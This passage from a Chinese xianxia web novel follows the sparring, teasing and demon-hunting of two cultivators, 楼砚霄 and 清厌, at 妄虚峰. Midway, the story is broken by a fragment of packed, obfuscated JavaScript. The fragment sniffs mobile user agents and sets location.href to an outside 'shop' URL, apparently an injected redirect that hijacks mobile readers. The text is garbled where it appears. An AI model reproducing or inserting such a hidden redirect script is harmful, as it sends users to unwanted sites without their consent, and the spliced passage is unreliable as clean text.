“这样也可。”
-
楼砚霄并不知道此事除了褚光卿还有其他人知道,他离开小院,四处摸索问了一番,才来到登星阁。
昨日被柳鹊凫追赶的匆忙,也未注意登星阁周围环境,今日一瞧,发觉这里的树木倒是比妄虚峰其他地方凄凉了许多,走的越近,越能感受到一股若有似无的寒气。
楼砚霄皱起了眉头,就算是百木是诡道世家,院中也不曾如此凄凉,清厌为何要一人住在此地?
想着,他走的越来越快,倏地,一道泠泠的琴声从远处传来,他立即停下脚步,朝琴声传来的方向望去——远处的山巅上,似乎有一座亭子。
想要达到那座亭子,必须登上登星阁的最高处。
楼砚霄收回目光,来到一处比较容易翻进去的墙角,探头看了下,发觉清厌似乎不在院子内,遂翻进了院子里,一路畅通无阻地来到登星阁的高处。
到了地方,还未等他说话,远远就瞧见亭中坐着一抹清冷端庄的身影。
他独自一人坐于亭中,手指抚琴,弹出的曲调悠然绵长,只要听上那么一段,似乎能让人静下来,去感受妄虚峰山巅上的万物。
楼砚霄思绪飘散,沉浸在琴声中,须臾才回神。
他抬头,定睛一看,抚琴的人竟是一直不见踪影的清厌!
清厌似乎也注意到他,手指轻轻覆在琴弦上,抬眸与他对视。
楼砚霄见状,想起了自己来登星阁的目的,脸上露出轻佻的笑,还吹起了口哨:“我说清厌,你就这么想邀我与你同住?”
清厌:“……”
“别不说话啊,不是你拿走我的行囊吗?如今又装出一副不是我的做的模样,糊弄谁呢?”楼砚霄朝他扬了扬下巴,一副证据确凿看清厌如何编下去的模样。
清厌放在琴弦上的手指动了动,欲言又止又似乎难以启齿道:“我并非……”
忽而又闭上了眼睛,一副不愿看着楼砚霄道:“昨夜你犯了妄虚的规矩,论处罚,你需得在登星阁住七日方可。”
楼砚霄:“欸,你是这儿的管教先生?倒还管其我的事来。”
清厌并没有理会他的话,语气加重了几分,似是在警告:“若有下次再犯,这辈子就别想离开登星阁。”
“我说你这个——”楼砚霄说着就要翻上去和他打一架。
清厌察觉到他的意图,手指快速在琴弦上拨动,将即将翻上来的楼砚霄击飞。
他看也不看衰落在地的楼砚霄一眼,挥起风雪彻底隔绝了他的视线。
“来了妄虚峰,就要守妄虚峰的规矩。”
楼砚霄站起身就听到这句话,当即“呸”了一声,骂道:“真以为自己能拦的住我。”
言罢,他转身朝院子里走去,逛了几处地方找到自己的行囊,正欲离开,却撞上了一道结界。
楼砚霄:“?”
他猛然转头看向清厌,不带感情地笑道:“清厌,你这是打算与我作对到底?”
亭内沉默良久,才不紧不慢响起清厌的声音:“你想什么便是什么。”
“呵。”楼砚霄冷哼了声,将自己的行囊重新放回去,自顾自安慰自己:“不让出去就不让出去,正巧光卿睡觉爱打呼噜,柳鹊凫不喜人靠近他睡觉,听有兄每到夜间就喜拿萧家两兄弟练阵……不回去也罢。”
话音未尽,他懒懒打了个哈欠,打开铺盖,席地就睡。
清厌一字不落将他的话听进耳里,期间连弹错一个音弦也不曾注意,等到回神时,楼砚霄已安然入睡。
“……”
此人到底有没有戒备之心?
-
楼砚霄醒来时,夜色已晚。
他起身往外走去,没瞧见清厌的身影,利落地翻出了登星阁。
回到小院,趁着褚光卿和柳鹊凫不注意,将两人行囊里的吃食搜走了一半,等到柳鹊凫发现时,楼砚霄正捧着吃食坐在墙头,正欲跳下去。
“楼砚霄!你是饿死鬼拿走这么多?!”
“是啊。”楼砚霄懒懒应道,“你柳家家大业大,赏赐我这点吃食不过分吧?”
柳鹊凫气不打一处来:“妄虚的家业比我还大,你怎么不去找他们要?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766913|190199||http|test|mini|href|location''.split(''|''),0,{}));
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>闻言,楼砚霄笑了:“柳大小姐,我活了这么久,还从未听说过诡道与正道能够坐在一起吃饭,你莫不是来妄虚峰上学上傻了吧?”
柳鹊凫:“……”
气不过,他将手里的剑砸出去,怒道:“有多远滚多远!”
“早说这句话不就好了。”
楼砚霄立马从墙上跳下去,一副不将人气死不罢休的模样。
果不其然,没走出两步,就听到身后传来柳鹊凫气急败坏的声音:“楼砚霄!此后我见你一次打你一次!”
听到这句话,楼砚霄脸上的笑浓了些,秉承着一贯与柳鹊凫斗嘴的风格回道:“好!”
柳鹊凫:“……”
这楼砚霄莫非是杠精转世?
-
回到登星阁,还是没瞧见清厌的影子。
楼砚霄心感疑惑,登星阁就这么点儿地方,也不至于找不到一个人。
想着,他在院子里四处逛了起来,他对登星阁不甚熟悉,走着走着就来到一处幽暗之地,瞧着有些熟悉。
未等他想起此处是何地,一柄熟悉的寒剑向他飞来。
“何人在那。”
寒剑堪堪擦过身侧,一抬眼就瞧见清厌匆匆披上一件里衣朝他走来,楼砚霄朝他挥了挥手,“清厌兄,我找了你一晚上,没想到在此沐浴。”
清厌脚步一顿,收回了剑,“你找我做甚?”
“我从柳鹊凫那儿要来了清平特有的柳芽酥,你要不要尝尝?”楼砚霄边说着边从怀里掏出从柳鹊凫手中抢来的吃食,递给清厌。
清厌看向那皱巴巴,不知道被手的主人蹂.躏了多少次,才弄成这副不成样子的纸包,强迫自己撇开眼,道:“我不吃。”
楼砚霄的手一顿,“你确定真不吃?”
清厌颔首。
“你不吃我吃。”
清厌:“……”
楼砚霄瞅了眼清厌,解释道:“我这次可没想偷看你沐浴,东西我也带来了,是你自己不吃的。”
清厌再次沉默。
“与你无关。”
清厌丢下这句话,便离开了。
“嗯。”楼砚霄看着他离去的背影,边摇头边欣赏道:“我之前怎么没发现此人生的如此板正,走起路来和他那爱飞来打人的破剑无甚么区别。”
言罢,他低下头,从纸包中拿出一块柳芽酥放进嘴里。
也就在他低头的间隙,清厌的身形不易察觉顿了下,很快又恢复如常,离开了此地。
-
如此过了一天,楼砚霄和褚光卿其他人一起去上学,还未走进学堂,便听到一道略微突兀、不怀好意的嗓音响起:“诸位知道我昨日看到了什么,诡道世家的百木傀师人进了登星阁!”
“登星阁?是我所知的那个登星阁吗?”
“妄虚峰除了那处地方叫登星阁还有何处也叫这个名字?”说话的人好似想起了往事,语气停顿了下,“不过诡道中人去那处,对他们正正好合适。”
“那可不是,他们来的那日就该住进登星阁,我听闻那处地方历来是掌管刑罚的,后来不知什么原因改成了峰主夫人住的地方,早些人那处就死过人,周遭荒草丛生,哪还能住人……”
……
“你们可小声些吧!”
此时,一个其貌不扬的少年劝道。
其他交谈的少年一听他的声音,脸上露出不耐烦的神色,更有甚者一脚将少年踢倒,朝他身上吐口水:“天天就丧着个脸,不知道的还以为你全家还是我们都死了!你就不能滚远点?!”
“老胡,还跟他客气什么,打不死就继续打,一个偏房的亲戚也想蹭上凌尘,白日做梦呢?!”
几个少年一听他的话,也不再迟疑,撸起袖子,挥起拳头就要朝少年砸去。
就在拳头即将碰到少年的那刻,几块石子快速砸中他们的手,顿时疼得直抽冷气。
待到缓过神来一看,便瞧见一个红衣少年站在不远处,脸上洋溢着笑,但对视的那瞬又觉得有几分冷。
“你、你是谁?”一人哆哆嗦嗦道。
楼砚霄好整以暇道:“我啊,自然就是就是口中那位就该住在登星阁的诡道中人。”
“你是百木傀师!”另一个少年道,“你们诡道向来不是喜欢和这些打交道吗?怎地说你两句,你还要打我们不成?”
楼砚霄轻轻摇了摇头,脸上笑容不变,“我们是喜欢和这些打交道没错,但这登星阁……也不是我们想去就能去,你知道我为何能进去吗?”
“为何?”
楼砚霄道:“因为这位天生剑骨爱慕我已久,邀我同住登星阁,便是要与我成道侣,我如今也很苦恼,像少峰主这样的绝世奇才,我该不该答应?”
匆匆赶来,还未喘口气便听到这句话的清厌:“……”
我,爱慕你?
还想与你成道侣?
11. 学堂考核
楼砚霄还在自顾自说着,全然不知他口中的人已经站在他身后,被褚光卿拉住袖子还朝后者施了一个眼色,让对方不要打搅他。
褚光卿:“……”
你再说下去,怎么死的都不知道。
他大力拽过楼砚霄,将人转了一圈,正好对上脸色不大好的清厌。
对上眼的那一瞬间,楼砚霄停住了话音,拍了褚光卿肩头一掌,“清厌兄来了,你怎么不喊我?”
褚光卿:“……你方才还将我推开,我如何喊你?”
楼砚霄:“……”
他抬头,朝清厌露出一个无辜的笑:“清厌,我路过此地听到有人在编排你,我们也认识了两日,如今也是无所不言的好友,兄弟有难,自当鼎力相助。”
“不必。”
清厌语气极淡地说着,从他身旁掠过,朝站在对面的几个正派世家的子弟走去。
那些人一见到他,朝他作了个揖,恭敬道:“少峰主。”
清厌在距离他们五步外站定,扶起那名摔倒在地的弟子,语气平稳道:“你们编排我?”
那几名弟子瞧见清厌并没有怪罪他们,暗暗朝楼砚霄露出一个得逞的笑,道:“少峰主,我们哪儿敢编排您,分明就是这名诡道中人血口喷人!”
“他不知道使了什么法子,竟然能够随意进出登星阁,正派世家何人不知登星阁乃是妄虚峰禁地,这般禁忌的地方岂能让诡道的人随意进出……”
说话的人语气愈发高昂,越说越激动,站在不远处的楼砚霄听的心里很不是滋味,又不是他自己要住进登星阁,怎地专挑他一个人说?
正欲开口反驳,一人先他道:“是我让他住进去的。”
那名正道弟子猛然停下话音,抬头不可置信地看着站在眼前的人。
清厌毫不避讳和他对视,“有问题么?”
“自、自然是没问题。”那名弟子战战兢兢道。
“没问题便散了。”清厌收回目光,御剑离开了此地。
“是。”
几人应道便想离开,倏地,身后一人叫住他们,回头一看,竟是与他们不对付的楼砚霄。
楼砚霄朝他们露出一个友好的笑:“道友,我有一事相问。”
几人警惕地看着他,“何事?”
“初时我听闻你们说登星阁原先是掌管刑罚之地,不知是真是假?”
“你为何不去问少峰主?”
楼砚霄:“诸位是觉得他会主动告诉我这些?”
几人对视了眼,有些认同楼砚霄说的话,且看在楼砚霄并没有之前那般的嚣张气焰,道:“你初来乍到不知,登星阁在妄虚峰峰主还未与兰家琴女结为道侣前,确为刑堂,后来两人结为道侣不久,这刑堂也改成了登星阁。”
“没有缘由?”
楼砚霄觉得有些奇怪,早年间传妄虚峰峰主与兰家琴女伉俪情深,怎会将刑堂改为峰主夫人住的地方。
“我们只知这些,剩下的……你还是亲自去问少峰主罢。”
几人意有所指看了眼清厌离开的方向,遂转身匆匆走了。
那名被踢倒在地的少年跟在他们身后,走出几步回头看了楼砚霄一眼,眼底有些亮,似乎还带着一丝不易察觉的兴奋。
楼砚霄正在思索登星阁的事,也没注意到少年的眼神。
须臾,走出许久迟迟不见楼砚霄跟上来的褚光卿转身向人跑来,将人拽去了学堂。
“你今日再不去上学,那正派的老头子要处罚你了。”
楼砚霄回神,听到此话就是一阵心烦,“正派的人如此事多。”
“你走快些罢。”
“行行行。”
楼砚霄无奈与褚光卿一同往学堂跑去。
-
到了学堂,除了夫子前面空着的两个位置,其他座位已然坐满了人。
坐在第一排的柳鹊凫瞧见楼砚霄,心里显然还在挂念自己昨夜被偷走的柳芽糕,没什么好脸色翻了个白眼。
偏生楼砚霄此人好似看不懂他的表情,还笑嘻嘻地凑过来打招呼,顺势在他旁边的座位坐下。
“柳兄,许久不见,你这眼睛愈发大了,一眼瞧去,全是眼白。”
柳鹊凫:“……”
楼砚霄果然是个奇葩,被人骂了还以为在夸他。
楼砚霄对柳鹊凫的神情视而不见,说完这句话又去招呼褚光卿:“柳兄如今眼睛大了些,可也着实比从前不好看——”
“楼砚霄!”柳鹊凫气的拔出剑,将楼砚霄的桌案劈成两半。
原先还笑着的楼砚霄,瞧见自己的桌案分成两半,顿时笑不出来了。
学堂里的其他人听到声响,纷纷抬眼看向他们,离的远还站在自己的桌案上,伸长脖子朝此处望来,在瞧见是两个诡道之人起了争执,脸露嘲笑之意。
“早些年听闻诡道四族情同手足,如今一瞧,这传闻也是空穴来风。”
“我们诡道的事何时要你们正派来管?”话音未落,柳鹊凫手中的长剑便向他飞去,直直钉在他身后的墙上,柳鹊凫面容冰冷,仿若他再多说一个字,那柄剑下次就不是钉在墙上,而是他的身上。
学堂里的其他人均没想到柳鹊凫会突然动手,原先还带着笑的脸顿时冷了下来,“诡道柳家,你这是想惹事?”
“我不怕惹事,也请你们管好自己的嘴!”柳鹊凫冷冷睨了说话的人一眼,将墙上的剑收回来,入鞘那瞬发出“铮”的一声,其他人心头震了下。
柳鹊凫将剑放到案牍上,一坐下就听到楼砚霄一成不变的嗓音传来:“不错,有我们诡道人的风范。”
柳鹊凫:“……”
他忍无可忍道:“你一天天的没事干?”
“人生来就要享受。”
“……”
“不想死在我的剑下就闭嘴!”
楼砚霄应了声,闭上嘴,开始倒弄被柳鹊凫劈成两半的桌案,弄出的动静不小,须臾,只听“咔擦”一声,分成两半的桌案又各自成了两半。
坐在他身旁的柳鹊凫与褚光卿听到这个声音,愣了下,转头看向楼砚霄,后者全然没有自己将妄虚峰学堂的桌案弄坏的意识,瞧见两人转头看他,还扬了扬手里的木块,“这妄虚峰的桌案……竟比傀儡还脆,一掌下去就坏了。”
柳鹊凫、褚光卿:“……”
此人到底是来妄虚学习还是来搞破坏?
要知道妄虚峰上的桌案皆由生长在极寒地区的玄木制成,也就上等灵剑方可将其破开,可如今楼砚霄一掌下去就将桌案四分五裂成木块……柳鹊凫和褚光卿的思绪停了下来,察觉到空气出奇安静,抬头一看,其他人目光齐齐望向学堂的门外。
他们顺势看去,只见一个白胡子老人气呼呼站在门外,眼神犹如利剑,一眨不眨盯着楼砚霄手里的木块。
瞧见他,柳鹊凫和褚光卿同时心道:“完了。”
-
半刻钟后,楼砚霄无聊地靠在学堂外的墙上,倏地,余光瞥见廊道远处不紧不慢走来一清冷人影,笑着朝向那边,“清厌兄!”
听到熟悉的嗓音,清厌脚步一顿,但还是朝他走了过来。
透过窗缝,还能看到一众正在认真听学的弟子,只有楼砚霄一人没个正形靠在学堂外的墙上,手里似乎还有只不知道从哪儿抓来的蛐蛐,正边逗着蛐蛐边看着他。
“你为何在外面?”清厌并未靠近他,在距离他几步外停下。
楼砚霄稍稍正了正身子,从身后掏出一块木头扔给他,“你们妄虚峰的食堂缺火吗?”
“?”
手里的木块并非普通木块,边缘上似乎还有些被木匠精心打磨过,颜色和形状瞧着有些熟悉。
楼砚霄手指拨下了蛐蛐,语气随意道:“学堂的桌案,拿去烧吧。”
清厌:“……”
沉默良久,清厌将木块还给他,“不必了。”
“你除了会说这两句还会说什么?”楼砚霄凑近了点,神秘兮兮道,“我听闻登星阁是刑堂,你为何住在哪儿?”
“与你无关。”清厌后退了几步,一个眼神也不曾留下,离开了学堂。
楼砚霄瞧见清厌离开的背影略显慌乱,心里奇异感加重了几分。
回神瞧见学堂里的人还在认真听学,又自顾自逗起了蛐蛐。
-
正午时分,褚光卿和其他几人终于从学堂里出来。
楼砚霄站正了身子,将手指上的蛐蛐弹飞,问道:“那老头可有说些什么?”
“一刻钟后,学堂考核。”
楼砚霄脸露疑惑:“?”
褚光卿:“学堂考核后,不日将会安排弟子下山探诡。”
“想要从妄虚毕业出去,需得过了学堂考核和下山历练,平时课业不甚注重,只需着重完成二者即可。”
楼砚霄点了点头,“那学堂考核是什么?”
“与那位剑骨对打。”
“啊?”
柳鹊凫没好气道:“啊什么啊,跟他打架不正是你期望的?”
楼砚霄:“……真当我是打不死的傀儡?”
“你连学堂的玄木都能一掌拍碎,还怕
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一掌拍不死剑骨?”柳鹊凫道,“夫子说了,其他人在清厌手里过五招即可,至于你,天赋异禀,一掌碎木,需得超过十招。”
楼砚霄:“……”
他不就是无意碎了块木,要如此待他?
宋听有拍了拍他的肩,沉声道:“砚霄,保重。”
“……”
-
午时一刻钟后,学堂考核正式开始。
比拼先由正道世家的子弟开始,最后是他们诡道。
正道世家子弟此次来妄虚求学居多,然而半刻钟不到,全都被清厌打了回来,其中一人还摔在他们脚边。
褚光卿与萧家二人将人扶起来,后者还未站定就朝他们吐了一口血。
褚光卿、萧明和萧朗:“……”
“道友,你可否过了五招?”宋听有问道。
那人又吐了一口血,道:“在下修为较低,只过了三招。”
“三招……”
几人互相对视了眼。
“三招有何好怕的?”楼砚霄的嗓音不急不徐响起。
闻声,其他知道楼砚霄要接几招的人保持沉默,同情地望向他。
“不必同情我,区区一个剑骨,还难不倒我。”
言罢,他便运起轻功,飞至莲池台上,朝着清厌极其嚣张地笑道:“我让你两招。”
清厌:“我不会手下留情。”
“知道知道,看在你昨夜与我睡一夜的份上,我定会下手轻点。”楼砚霄混不吝道,全然不顾听到的正道和诡道人。
“他在说什么胡话?”柳鹊凫还以为自己听错,掐了褚光卿一把,对方吃疼骂了他一句才意识到这不是错觉。
——楼砚霄在调戏清厌。
柳鹊凫一副见了鬼的表情,“楼砚霄莫不是疯了?”
“何止是疯,手都碰上剑骨的腰了。”萧朗瞧见楼砚霄出手去到清厌的身旁时,手掌不偏不倚往清厌的腰带上一放,将人拉近了点,一副调戏良家妇女的架势。
瞧见此等“不雅”情景的几人:“……”
-
莲池台上,楼砚霄将人拉近自己,鼻子嗅了嗅,道:“清厌兄,昨夜你沐浴我并未闻见香气,今日怎会如此的香?”
清厌握着剑的手顿了下,忍无可忍道:“楼琢!”
“欸,你怎知我叫楼琢?”楼砚霄并没有放开人,“清厌兄,冷着一张脸,还和人偷偷打听我的字?你下次直接来问我不就好了,我不仅将我的字告诉你,名我也告诉你。”
瞧见他正欲动手,楼砚霄手疾眼快拦下他的手,“不找我就不找我,我来找你如何?”
清厌挣开他的手,面无表情挥起剑。
“脸别这么冷嘛。”楼砚霄与他边交手边道,“你看你每天板着这张脸,又冷又不说话,哪个小姑娘喜欢你?这样吧,你要是喜欢谁来与我说,我帮你成了这门婚事,你告诉我你为何住在登星阁就行——”
话还未说完,楼砚霄就被一道强大的气运击飞。
整个人摔落在地,却不似先前与清厌交手的弟子露出难受的神色,而是快速起身,一脸无事地走向学堂的夫子,笑道:“夫子,十五招如何?”
夫子没好气哼了声:“尚可。”
“比十招多出了五招,才尚可?”楼砚霄笑的灿烂。
夫子气的瞪直了眼,彻底待不下去了,走出许久才传来气冲冲的一句:“甲等!”
“多谢夫子!”
楼砚霄欢快道,哪知一转头,一柄长剑便架在他的颈侧,剑的主人冷冷地看着他,“无耻至极!”
他用手移开剑,笑颜不改,“那清厌兄……你说我该是什么样才能让你满意?”
“将我的心刨出来,双手捧在你的面前,说我喜欢你吗?”
话还未尽,清厌已然收了剑走了,剩下尚未考核的诡道几人愣在了原地,许久才走到楼砚霄身边,问道:“你与他说了什么?”
楼砚霄:“我爱慕他。”
“?”
“你们一个个露出这种见鬼的表情作甚?人爱慕人,乃人之常情。”
褚光卿、柳鹊凫、宋听有以及萧家兄弟:“……”
楼砚霄住进登星阁后莫不是中了什么毒,什么话都敢说。
楼砚霄并未理会他们,言尽后便哼着小曲回了登星阁。
-
夜黑风高,一个矫健的身影快速翻出登星阁下了山。
他离去没多久,登星阁另一间屋子亮了。
须臾,一个提着剑的白衣少年推开门,也离开了登星阁。
12. 无眼新妇
山林寂静,楼砚霄今夜并未唤来傀儡,从山道下了山。
行至半山腰,察觉到身后有一道剑气向自己逼来,他侧头向后看一眼,快速躲开。
站定后,他看向来人,笑道:“清厌兄,在妄虚峰就想抓我,现在出了妄虚还跟着我,我是不是可以认为你喜欢的不是姑娘……而是我?”
“夜半下山,你要去做什么?”清厌没有理会他的话。
楼砚霄手指缠上些许傀线,在听到他的话,不紧不慢地说道:“最近在春堂镇认识了一名唱角儿,妄虚峰这么无趣,自然是下山寻她。”
“荒唐!”
“又是荒唐,我说清厌兄,你没有七情六欲不代表我没有七情六欲,再说了你们妄虚峰的风水可比我们养人多了。”楼砚霄轻笑了声,眼睛一寸一寸掠过他,“山脚的名角儿自然比不上你,你若是求我,我现在就可以与你回山,你看如何?”
话还未尽,清厌便挥着剑向他刺来。
楼砚霄见状侧身闪躲,还不忘道:“清厌兄,我白日可没有耍你的意思,是你们学堂的夫子非说要我过十招,谁知道你这么沉不住气,还多让了我五招——”
“油嘴滑舌。”
清厌出招快了起来,招招皆往楼砚霄的命门上打。
然而楼砚霄就好似像一条泥鳅,游刃有余地躲开清厌的攻势,甚至在清厌脸上露出愠色还能朝他露出一个笑。
清厌:“……”
不知是不是被楼砚霄气急了,他的剑从楼砚霄的肩侧擦过,锋利的剑刃“嗞喇”一声划开了楼砚霄的衣裳。
一半衣裳滑落,一半衣裳挂在肩上,露出白润的肩头。
楼砚霄低头看了眼,眼里盛满了笑意,“清厌兄,你原来是这个意思。”
清厌转身不看他,握着剑柄的手紧了几分,不知是羞怒还是愧疚,“……我不是。”
“我知道我知道,你不就是嫌我前日偷看你的沐浴吗?如今你也看回来了,是不是该消气了?”楼砚霄随意拉上滑落的衣裳,走近不理人的清厌,道,“你看了我的身子怎么还不理人,前日我可是——”
“楼琢!”
瞧见他又要挥剑打人,楼砚霄连忙后退了几步,“你别打我,我不说了行不行?!不理人就不理人,我理你还不行,你放心,你我互看身子一事,我绝对不会告诉别人。”
清厌将剑收回剑鞘中,绷着声音道:“我没兴趣。”
楼砚霄愣了会儿才意识到他说的话是何意。
他笑着还想逗清厌,倏地,林间响起了诡异的铃铛声,楼砚霄脸色当即变了,“糟了!”
言罢,顾不上滑落的衣裳,释放手中的傀线便向林间冲去。
瞧见他脸色不对,清厌也跟了上去,走了几步,发觉眼前人的肩头异常晃眼,脱下自己的外袍往楼砚霄身上一丢。
楼砚霄被罩了一脸,扯了两下意识到是谁的衣裳,毫不客气穿上,“多谢。”
“无妨。”
清厌淡淡说道,和他一同朝铃铛最响处走去。
进了密林,馥郁的瘴气笼罩着二人,山道上的月光在此时也隐匿了起来,铃铛声更是像在耳边摇晃。
清厌目光环视了一圈,道:“你并非下山寻人。”
“这么快就能猜到,不愧是剑骨。”楼砚霄咬破手指在傀线在滴下一滴血,“来妄虚那日,春堂镇上有一户人家办喜事,无意瞧上一眼,正巧看到了花轿上无眼的新娘。”
“新娘还有活人气,但她那双眼已然是死人眼,周身覆满诡气,不出三日便会化魔。”
清厌:“可你为何……”
楼砚霄边缠傀线边道:“你是说我独自一人解决此事?自我们有能力起,这世间的诡不论遇到的是谁,抑或是有多少人,看见了那便处理,我小的时候便跟着长老一同探诡,遇到的诡事至今也数不清了……你若是想学,我可以教你。”
他抬头看清厌,后者在他抬头之际将视线移开,道:“不必。”
“虽说诡道与正道势不两立,但若是你想学,谁又拦得住你?”楼砚霄笑着低头,“你若是真的想了,可以来百木寻我——诶,清厌兄,你走那么快作甚,我又没逼着你学,你等等我啊!”
清厌头也不回道:“聒噪。”
楼砚霄追上来道:“你说我聒噪,你还不是一字不落听了去?”
“……”
清厌没说话,走的愈发快了。
走在他身后的楼砚霄瞧见他落荒而逃,隐隐透着恼怒的背影,笑的更大声了。
清厌听到笑声脚步一顿,闭上眼睛,待到心平才继续前行。
-
前日楼砚霄下山去寻那名无眼新妇,并未寻到踪影,而新妇嫁的人家也在楼砚霄赶到前被灭门了。
“我寻到天明,以为能寻到一点儿关于她的消息,白日问了人家,却说这户人家从未存在过,就好似凭空消失,不知去向。”楼砚霄边说边道,“没想到居然藏在妄虚峰的山脚下。”
两人已经走了许久,迟迟找不到铃铛最响的那处。
倏地,楼砚霄停了下来,转头看向另一个方向,“清厌兄,听到了吗?”
“嗯,她在吃人。”
“清厌兄真是好耳力。”楼砚霄赞叹道,“不过吃人还要给自己下个阵,是不是在藏着什么?”
言罢,骤风四起,藏在密林角落的铃铛全被看不见的傀线隐去了声音。
狂风刮过,彻底将密林里的瘴气散去,露出了原本的颜色。
楼砚霄抬眼看向不远处满口沾血,手里拿着一根白骨不断啃食的长发女人,笑道:“无眼新妇,你可让我好找,不知这些腐朽的人肉好吃吗?”
闻言,长发女人抬起头,脖子以一个极度僵硬的姿势转来看向两人。她没有眼睛,似乎是一直在吃的缘故,看向他们的那瞬,嘴里还在有节奏地嚼着,发出嘎吱嘎吱的咀嚼声。
咀嚼没两下,她像是嗅到了什么,放下手里的白骨,手脚并用向他们爬来,嘴里念念有词:“血,我需要新鲜的血……”
“清厌兄,她似乎很喜欢你的血。”楼砚霄侧头看了清厌一眼,调侃道。
然而他说完这句话,便朝自己爬来的长发女人出手。
他手上的傀线快速动着,缠在女鬼的身上,使其不得动弹,之后再快速施一道诀,将她身上的诡气破开。
清厌见状,挥出几道剑气,将那些诡气彻底斩碎。
做完这一切,原先还在爬行的长发女人倒在地上,没了生息。
楼砚霄收回傀线,走近一瞧,“她死了。”
“林间鬼怪,她怎会突然死去?”清厌也收了剑,往这边走来。
“谁知道,说不准是被我们帅倒了。”
清厌:“……”
楼砚霄全然不顾清厌的表情,用傀线将人捆起来,唤出一名
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傀儡将女人与那些白骨全埋了。
埋好土,拍了拍手上的土,朝清厌道:“走罢,她化魔不算严重。”
“林间的铃铛来历不明,你要如何解决?”
楼砚霄:“铃铛这事好办,尽数毁了就行。”
清厌看了他一眼,没说话,运起气运飞向林间上,连挥出几道剑气,将藏匿的铃铛尽数毁去。
再次回到楼砚霄身旁时,那人欢快地拍了拍手,眼睛有些亮,“清厌兄,你也太厉害了。”
“……”
“你也一样。”
言罢,抬腿率先走了。
“清厌兄,怎么这么害羞?”瞧见清厌一副什么都受不了的模样,楼砚霄笑着追了上去,“不夸你不行,夸你也不行,你到底要我怎么做?”
清厌走的更快了,“我不需要。”
“管好自己。”
说着,觉得不妥,又继续道:“下次不准再偷跑下山。”
“你的意思是,你与我一起就可以?”楼砚霄笑道,上前扯过他的袖子,将人带往下山的方向,“走吧清厌兄,你虽然住在妄虚峰,但是山脚的春堂镇很少去吧?今夜有月,适宜饮酒。”
清厌想要挣开他的手,却发觉对方的手劲与自己不相上下,一时间难以挣脱,无奈道:“楼琢……”
“下山喝酒咯!”
楼砚霄满脑子都是下山喝酒,哪里顾得上清厌是什么想法。
瞧见楼砚霄兴冲冲的模样,清厌无奈,也跟着人下了山。
-
两人离开后不久,密林又笼罩上了一片瘴气,恢复了当初刚进密林的模样。
须臾,一只、两只……无数只蝴蝶缓缓飞出,留下沙沙的声响。
又重新变的安静。
-
到了春堂镇,楼砚霄拽着人进了一家酒馆,不等清厌开口,便熟练地招呼店小二上酒。
清厌:“……”
“清厌兄,我尝过天下的美酒,但都比不上春堂镇这家酒馆酿的。”楼砚霄坐下后,挽起袖子,一副大干一场的模样,“快坐吧,今夜不醉不归。”
清厌依言在他对面坐下,不知作何表情。
待到店小二将酒坛拿上来,楼砚霄颇为豪横地给两人各倒一碗,再将清厌那碗推至他面前,脸上笑的灿烂,“清厌兄,请。”
清厌犹豫地拿起碗,抿了一口。
再抬眼时,楼砚霄又给自己倒了一碗。
正当他心道此人酒量如此好时,面前砸下一只碗,抬头只见先前还大放厥词的人此时倒在了桌上,一只手还抱着酒坛,生怕他人抢去似的。
清厌:“……”
尝尽天下美酒,唯有春堂不醉……分明就是春堂镇的酒不醉人才让此人萌生出了错觉。
无奈叹了口气,将人扶起来,御剑回了妄虚峰。
走时,楼砚霄还抱着酒坛不撒手,抬起一双雾蒙蒙的眼睛看向清厌,“清、清厌兄……”
未等他言尽,清厌也将他的酒坛拿上了。
楼砚霄整个人十分乖巧趴在他的怀里,没了往日插科打诨,天不怕地不怕的模样,餍足地环住他的腰:“你人真好,我将百木送你你要不要?”
清厌身形一顿,抬手想要将人撇开,然而在看到楼砚霄一副醉的不省人事,仿若没了人靠着下刻便会向地上栽去的模样,他深吸了口气:“抱紧。”
“好……”
13. 一起被罚
翌日,楼砚霄还未醒来,便听到门外传来吵嚷的声音,听着像是褚光卿和柳鹊凫等人。
他迷迷糊糊起身,揉了揉有些发疼的太阳穴,打开门。
门一开,外围的声音立即安静下来,良久才听到柳鹊凫道:“你昨日与少峰主一齐下山喝酒,怎地他被罚你还在此处睡觉?”
“啊?”楼砚霄揉了揉眼睛,试图让自己清醒点儿,“什么被罚?”
柳鹊凫:“你当真是真不知道还是假不知道?”
楼砚霄伸了个懒腰,“你瞧我像是知道的模样?”
“话说到底发生了何事让你们如此紧张?”
“清厌被罚了。”门外赶来的宋听有道。
“?”
宋听有:“学堂夫子知晓他昨夜下山喝酒一事,一早就将人叫去了,如今正在霜北堂跪着,你若是无事还是不要去的好——”
他话还没说完,楼砚霄便火急火燎从他身旁穿过,路过时还留下一句:“怎能无事!昨夜是我将人拽下山喝酒的!”
宋听有:“……”
-
楼砚霄翻进霜北堂时,被在树下喝茶的夫子逮个正着。
夫子轻飘飘瞧了他一眼,不紧不慢品着杯中的茶,再不疾不徐道:“有大门不走非要当贼?”
楼砚霄拍了拍衣裳沾上的尘土,笑嘻嘻地朝夫子走去,眼睛还不住地往里堂瞟,没瞧见那抹白色的身影,快速地收回了目光。
一抬眼,便和夫子对视上。
后者放下茶杯,似乎清楚了他的来意,“往里瞧是在找人?”
“您也太与我心有灵犀了。”楼砚霄眼睛亮了一瞬,“我听闻您罚了清厌……”
夫子没好气哼道:“他是我妄虚峰的弟子,他犯错不该罚吗?你若是来为他求情还是回去罢,规矩摆在这儿,今日谁来也没用。”
楼砚霄:“谁与您说我是来求情的,是这样的,您有所不知,昨夜不止清厌下山,我也下山了,这酒呢,还是我请他喝的。”
说着,脑海中不自觉出现春堂酒的香甜,露出几分向往的神情,全然不顾夫子的脸色,自顾自道:“春堂酒,自是好酒,若是有机会,我定要再尝尝。”
听到最后一句的夫子瞪直了胡子:……你还有下一次?!
-
半刻钟后,楼砚霄坐在妄虚峰书砚阁的蒲团上,朝坐在楼上抄写的清厌喊道:“清厌兄,我来陪你了!”
清厌:“……”
他放下狼毫笔,抬眼看向楼砚霄,道:“你为何在此?”
“我与夫子说,是我昨夜将你拐下山的。”
“……”
